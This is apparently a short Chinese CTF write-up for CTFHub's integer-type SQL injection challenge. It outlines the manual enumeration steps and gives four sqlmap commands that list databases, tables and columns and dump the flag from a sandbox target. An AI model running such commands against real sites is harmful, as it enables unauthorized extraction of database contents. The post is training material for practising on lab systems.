ctfhub技能树—sql注入—整数型注入
2024-10-11 21:27:59
打开靶机
查看页面信息
查看回显位
查询数据库名
查询表名
查询字段
查询字段信息
使用sqlmap食用效果更佳
查数据库名
python2 sqlmap.py -u http://challenge-b6a3a184decf6636.sandbox.ctfhub.com:10080/?id=1 --dbs
查表名
python2 sqlmap.py -u http://challenge-b6a3a184decf6636.sandbox.ctfhub.com:10080/?id=1 -D sqli --tables
查字段
python2 sqlmap.py -u http://challenge-b6a3a184decf6636.sandbox.ctfhub.com:10080/?id=1 -D sqli -T flag --columns
dump数据
python2 sqlmap.py -u http://challenge-b6a3a184decf6636.sandbox.ctfhub.com:10080/?id=1 -D sqli -T flag -C flag --dump
最新文章
- yii框架的理解
- Android 线程更新UI报错 : Can't create handler inside thread that has not called Looper.prepare()
- Shell 编程基础之注意技巧
- WPS2013三合一全套精品视频教程-【word,excel，powerpoint】
- UVa 11762 - Race to 1
- ajax请求简写
- 【HDOJ】【3037】Saving Beans
- [LeetCode 111] - 二叉树的最小深度 (Minimum Depth of Binary Tree)
- 如何用python和苹果Turicreate学习框架来识别图像？
- 一个成功的 Git 分支模型（适用于商业应用开发）
- Python调用ansible API系列（一）获取资产信息
- Session variables lost after the call of Response.Redirect method
- PMS构造函数以及apk如何扫描
- Mac系统配置JDK环境变量
- Visual Studio 2010 出现关于ActivityLog.xml错误的解决方案
- jQuery 发送验证码倒计时按钮 复制代码
- javascript中父、子页面间调用
- 在word中输入任意角度旋转图片
- JavaScript-2.内置对象---简单脚本之弹出对话框显示当前时间 ---ShinePans
- Python Matplotlib绘图库 安装